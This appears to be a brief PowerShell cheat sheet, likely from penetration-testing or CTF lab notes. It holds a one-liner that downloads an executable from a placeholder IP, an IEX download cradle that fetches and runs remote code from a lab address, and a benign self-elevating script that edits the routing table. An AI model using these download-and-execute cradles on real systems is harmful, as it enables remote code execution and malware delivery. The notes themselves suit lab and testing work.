PowerShell

Download file

powershell "(new-object System.Net.WebClient).Downloadfile('http://<IP>/writeup.exe', 'writeup.exe')"

Execute code from web

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8:8000/exploit.html')"

Modify Routing Table

param([switch]$Elevated)
function Check-Admin {
    $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())
    $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}
if ((Check-Admin) -eq $false)  {
    if ($elevated)
    {
        # could not elevate, quit
    }
 
else {
        Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -noexit -file "{0}" -elevated' -f ($myinvocation.MyCommand.Definition))
    }
    exit
}

#eliminar ruta por defecto al haber 2 y a;ade ruta a vsphere
route delete 0.0.0.0 mask 0.0.0.0 15.17.160.1
route add 20.1.40.0 mask 255.255.255.0 15.17.160.1
Start-Sleep -s 2
exit